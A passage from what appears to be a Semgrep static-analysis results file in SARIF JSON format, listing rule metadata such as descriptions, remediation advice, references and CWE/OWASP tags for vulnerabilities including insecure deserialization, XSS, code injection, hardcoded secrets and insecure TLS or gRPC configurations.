for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","id":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","name":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","id":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","name":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","id":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","name":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate](https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate)\n","text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"help":{"markdown":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas)\n - [https://lxml.de/FAQ.html](https://lxml.de/FAQ.html)\n","text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"helpUri":"https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas","id":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","name":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.lxml-in-pandas.lxml-in-pandas"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration","id":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","name":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-data-exfiltration.express-data-exfiltration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"help":{"markdown":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template)\n - [https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security](https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security)\n","text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template","id":"go.lang.security.audit.xss.import-text-template.import-text-template","name":"go.lang.security.audit.xss.import-text-template.import-text-template","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.import-text-template.import-text-template"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"help":{"markdown":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","id":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","name":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"help":{"markdown":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","id":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","name":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"help":{"markdown":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors","id":"java.lang.security.audit.permissive-cors.permissive-cors","name":"java.lang.security.audit.permissive-cors.permissive-cors","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.permissive-cors.permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead."},"help":{"markdown":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag)\n - [https://github.com/golang/go/issues/19669](https://github.com/golang/go/issues/19669)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","id":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","name":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"help":{"markdown":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","id":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","name":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"help":{"markdown":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval)\n - [https://www.php.net/manual/en/function.mb-ereg-replace.php](https://www.php.net/manual/en/function.mb-ereg-replace.php)\n - [https://www.php.net/manual/en/function.mb-regex-set-options.php](https://www.php.net/manual/en/function.mb-regex-set-options.php)\n","text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"helpUri":"https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","id":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","name":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"help":{"markdown":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py)\n","text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","id":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","name":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Google OAuth Access Token detected"},"help":{"markdown":"Google OAuth Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Google OAuth Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","id":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","name":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint","id":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","name":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint.compile-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 